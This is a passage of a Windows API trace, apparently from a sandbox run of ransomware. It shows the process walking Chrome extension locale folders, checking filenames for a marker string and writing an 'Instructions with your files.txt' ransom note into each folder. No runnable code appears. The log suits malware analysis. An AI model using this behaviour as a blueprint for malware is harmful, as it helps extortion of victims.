[0129.412] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.412] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\Instructions with your files.txt") returned 176
[0129.412] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.412] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.413] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.413] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.413] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.413] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.413] CloseHandle (hObject=0x134) returned 1
[0129.413] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.413] GetProcessHeap () returned 0x810000
[0129.413] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.414] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.414] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned 143
[0129.414] GetProcessHeap () returned 0x810000
[0129.414] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.414] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*") returned 145
[0129.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.414] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\.") returned 145
[0129.414] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.414] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\..") returned 146
[0129.414] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.414] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 157
[0129.414] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.414] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.414] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\Instructions with your files.txt") returned 176
[0129.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.414] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.415] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.415] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.416] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.416] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.416] CloseHandle (hObject=0x134) returned 1
[0129.416] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.416] GetProcessHeap () returned 0x810000
[0129.416] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.416] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0129.416] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned 143
[0129.416] GetProcessHeap () returned 0x810000
[0129.416] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.416] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*") returned 145
[0129.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.427] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\.") returned 145
[0129.427] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.427] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\..") returned 146
[0129.428] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.428] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 157
[0129.428] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.428] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.428] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\Instructions with your files.txt") returned 176
[0129.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.428] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.430] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.430] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.430] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.430] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.430] CloseHandle (hObject=0x134) returned 1
[0129.430] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.430] GetProcessHeap () returned 0x810000
[0129.430] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.430] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0129.430] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned 143
[0129.430] GetProcessHeap () returned 0x810000
[0129.430] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.431] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*") returned 145
[0129.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.431] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\.") returned 145
[0129.431] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.431] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\..") returned 146
[0129.431] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.431] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 157
[0129.431] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.431] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.431] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\Instructions with your files.txt") returned 176
[0129.431] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.432] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.432] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.432] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.433] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.433] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.433] CloseHandle (hObject=0x134) returned 1
[0129.433] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.433] GetProcessHeap () returned 0x810000
[0129.433] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.433] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0129.433] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned 143
[0129.433] GetProcessHeap () returned 0x810000
[0129.433] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
